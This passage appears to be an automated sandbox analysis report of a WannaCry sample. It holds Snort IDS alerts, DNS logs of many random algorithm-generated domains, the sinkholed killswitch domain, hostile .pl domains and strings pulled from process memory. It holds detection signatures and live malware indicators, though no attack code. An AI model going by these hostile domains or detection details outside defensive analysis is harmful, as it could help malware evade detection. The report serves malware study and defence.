3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Jul 2022 05:28:17 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72e188443da69016-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
              Snort IDS alert for network traffic
              Source: TrafficSnort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.3:49316 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.3:49743 -> 104.17.244.81:80
              Source: TrafficSnort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.17.244.81:80 -> 192.168.2.3:49743
              Source: TrafficSnort IDS: 2012730 ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup 192.168.2.3:64452 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.3:64941 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.3:49847 -> 104.17.244.81:80
              Source: TrafficSnort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.17.244.81:80 -> 192.168.2.3:49847
              Source: TrafficSnort IDS: 2024281 ET TROJAN Known Hostile Domain ant.trenz .pl Lookup 192.168.2.3:61877 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2811577 ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com) 8.8.8.8:53 -> 192.168.2.3:54205
              Source: TrafficSnort IDS: 2012730 ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup 192.168.2.3:54726 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2811577 ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com) 8.8.8.8:53 -> 192.168.2.3:50062
              Source: TrafficSnort IDS: 2024281 ET TROJAN Known Hostile Domain ant.trenz .pl Lookup 192.168.2.3:63863 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2811577 ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com) 8.8.8.8:53 -> 192.168.2.3:51893
              Source: TrafficSnort IDS: 2811577 ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com) 8.8.8.8:53 -> 192.168.2.3:55045
              Tries to resolve many domain names, but no domain seems valid
              Source: unknownDNS traffic detected: query: fdxabf.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: iuerwc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xtebrw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ovtuyx.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yqfhfc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ledxdi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: bzzxaa.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ddqbaw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ahhgic.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uolirh.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ackhta.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: rsiyrt.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: sbaxaz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uiuhak.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: llmgfw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ijaiay.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kakfsu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: hrjgek.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: iyckqq.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eydqtw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: euoxub.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: edhqjy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: prhyrg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: aabasj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xgfxaf.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: lyaade.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uuayro.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: afpezo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jfemkg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: oaxcuk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: imqlsi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: elaxes.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xigvgj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: qsmycs.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: pdrfat.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: siumdo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wyypfa.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: khvywi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: sojasb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: qjpwyy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uvjcyx.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: evqxmm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vanjbe.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: lvemuu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: hbehfj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: zngadv.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eecfoe.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: tijgox.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: pgdnbx.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ftpjjt.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: awnbiv.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xolivy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eabiyo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wprujy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: nkhjrn.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uprspu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: erdxat.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xneyid.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: aojlek.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: cfuowu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: qeuury.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jnsagy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: fmteda.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uiwccu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: utdtjh.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: dctzar.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: muytuz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: paqrpk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yrreqd.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: efwuyj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: amjeqc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: zxiljl.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: euppji.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vjufit.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: buiydb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xgtyof.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yylrkl.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: izacue.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: zaguew.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: hulqaa.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: cbceyl.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eynvfn.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ezqesm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xyyezb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: gulnml.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xxvyhc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: olopvi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ljweip.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kafoyb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xzxehm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: khzysn.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: iacvxu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ukiuqe.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: izeroy.com replaycode: Name error (3)
              Queries random domain names (often used to prevent blacklisting and sinkholes)
              Source: unknownDNS traffic detected: English language letter frequency does not match the domain names
              Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: Joe Sandbox ViewIP Address: 104.17.244.81 104.17.244.81
              Source: svchost.exe, 0000001E.00000002.819954632.00000219BE6C7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000000.391759511.00000219BE6C7000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.facebook.com equals www.facebook.com (Facebook)
              Source: svchost.exe, 00000028.00000000.430968675.000002631D5C0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.825769533.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.308067965.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321924914.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.825769533.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
              Source: svchost.exe, 00000015.00000000.328955364.000001BC27D13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.331028391.000001BC27D13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.831740127.000001BC27D13000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cdn.content.prod.cms.msn.com/singletile/summary/alias/experiencebyname/today?market=en-US&sou
              Source: lsass.exe, 0000000F.00000002.821840986.0000025D33A00000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.315594137.0000025D33A00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.676524769.0000017691088000.00000004.00000020.00020000.00000000.sdmp, UpdateNotificationMgr.exe, 00000024.00000003.436515193.000001FC0E074000.00000004.00000020.00020000.00000000.sdmp, UpdateNotificationMgr.exe, 00000024.00000003.433416761.000001FC0E074000.00000004.00000020.00020000.00000000.sdmp, UpdateNotificationMgr.exe, 00000024.00000002.438922667.000001FC0E074000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000027.00000002.820533990.000001B0474E1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
              Source: svchost.exe, 00000016.00000002.676524769.0000017691088000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000027.00000002.820464912.000001B0474DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.825769533.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.308067965.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321924914.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.825769533.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
              Source: lsass.exe, 0000000F.00000002.827432741.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.308067965.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.306680487.0000025D3327E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321924914.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.312289979.0000025D3327E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.825769533.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.308067965.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321924914.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.825769533.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
              Source: lsass.exe, 0000000F.00000000.316258202.0000025D33A2B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.307488147.0000025D33A2B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.822805042.0000025D33A2B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
              Source: lsass.exe, 0000000F.00000002.818002098.0000025D3327E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.306680487.0000025D3327E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.312289979.0000025D3327E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
              Source: svchost.exe, 00000028.00000000.440264232.000002631E56D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.839773375.000002631E56D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.825769533.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
              Source: lsass.exe, 0000000F.00000002.827432741.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.308067965.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.306680487.0000025D3327E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321924914.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.312289979.0000025D3327E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0:
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.308067965.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321924914.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.825769533.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0H
              Source: lsass.exe, 0000000F.00000002.822509735.0000025D33A20000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.827432741.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.308067965.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.307475578.0000025D33A20000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.306680487.0000025D3327E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321924914.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.316229486.0000025D33A20000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.312289979.0000025D3327E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.msocsp.com0
              Source: svchost.exe, 00000020.00000002.834251015.0000029A97A9F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.408890394.0000029A97A9F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.mic
              Source: svchost.exe, 0000000C.00000002.322529801.000002174D013000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.bingmapsportal.com
              Source: lsass.exe, 0000000F.00000000.307871676.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321441330.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.308067965.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.321924914.0000025D33B62000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.825769533.0000025D33AF4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0~
              Source: svchost.exe, 0000001E.00000002.819954632.00000219BE6C7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000000.391759511.00000219BE6C7000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.google.com
              Source: mssecsvc.exe.2.drString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              Source: mssecsvc.exe, 00000004.00000002.558158091.0000000000C8A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              Source: mssecsvc.exe, 00000004.00000002.558158091.0000000000C8A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com//
              Source: mssecsvc.exe, 00000004.00000002.556995102.000000000019C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ
              Source: mssecsvc.exe, 00000004.00000002.558158091.0000000000C8A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comY
              Source: svchost.exe, 00000009.00000000.540255218.000002385E444000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.815464461.000002385E444000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://%s.dnet.xboxlive.com
              Source: svchost.exe, 00000009.00000000.540255218.000002385E444000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.815464461.000002385E444000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://%s.xboxlive.com
              Source: svchost.exe, 00000009.00000000.540255218.000002385E444000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.815464461.000002385E444000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com
              Source: svchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
              Source: svchost.exe, 00000015.00000000.333392629.000001BC28300000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.331315609.000001BC28300000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://az804205.vo.msecnd.net/
              Source: svchost.exe, 00000015.00000000.333392629.000001BC28300000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.331315609.000001BC28300000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://az815563.vo.msecnd.net/
              Source: svchost.exe, 00000009.00000002.814732219.000002385E429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000000.540103520.000002385E429000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
              Source: svchost.exe, 00000015.00000002.828710836.000001BC27C69000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.330169231.000001BC27C69000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.328043656.000001BC27C69000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://candycrush.king.com/mobile/windows/TileTemplate.xml
              Source: svchost.exe, 00000015.00000002.827384747.000001BC27C0F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.327646863.000001BC27C0F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.329884194.000001BC27C0F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.829852893.000001BC27CB1000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.328494880.000001BC27CB1000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-US
              Source: svchost.exe, 00000009.00000002.814732219.000002385E429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000000.540103520.000002385E429000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
              Source: svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
              Source: svchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
              Source: svchost.exe, 0000000C.00000002.322590099.000002174D03D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
              Source: svchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
              Source: svchost.exe, 0000000C.00000003.322087627.000002174D047000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.322650603.000002174D04E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
